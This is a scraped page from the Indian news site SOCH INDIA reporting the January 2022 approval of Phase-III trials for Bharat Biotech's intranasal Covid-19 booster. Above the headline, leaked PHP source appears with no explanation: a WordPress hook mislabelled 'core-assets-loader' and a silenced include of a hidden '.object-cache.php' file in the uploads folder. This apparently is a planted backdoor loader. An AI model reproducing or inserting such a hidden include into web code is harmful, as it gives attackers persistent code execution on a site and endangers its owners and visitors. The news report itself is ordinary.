add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); Covaxin Maker Bharat Biotech’s Nasal Booster Dose Trials Get Approval – SOCH INDIA

Forgot Password New Account
Menu

Covaxin Maker Bharat Biotech’s Nasal Booster Dose Trials Get Approval

  • 175 Views
  • January 28, 2022
  • By
  • in delhi
  • Comments Off on Covaxin Maker Bharat Biotech’s Nasal Booster Dose Trials Get Approval
  • Edit
nobanner

New Delhi: 

Vaccine manufacturer Bharat Biotech has received approval to conduct Phase-III clinical trials of an intranasal booster dose on people who have received both doses of Covaxin. The Drug Controller General of India today gave the go-ahead for the Phase-III trials. The trials will be conducted at nine locations in the country.

An intranasal vaccine as a booster will be easier to administer in mass vaccination drives.

Bharat Biotech has said that the nasal vaccine, BBV154, stimulates immune responses at the site of infection — the nose — and is very effective in blocking infection and transmission of Covid-19.

Tags
Share this:

About

Number of Entries : 22141

You May Also Like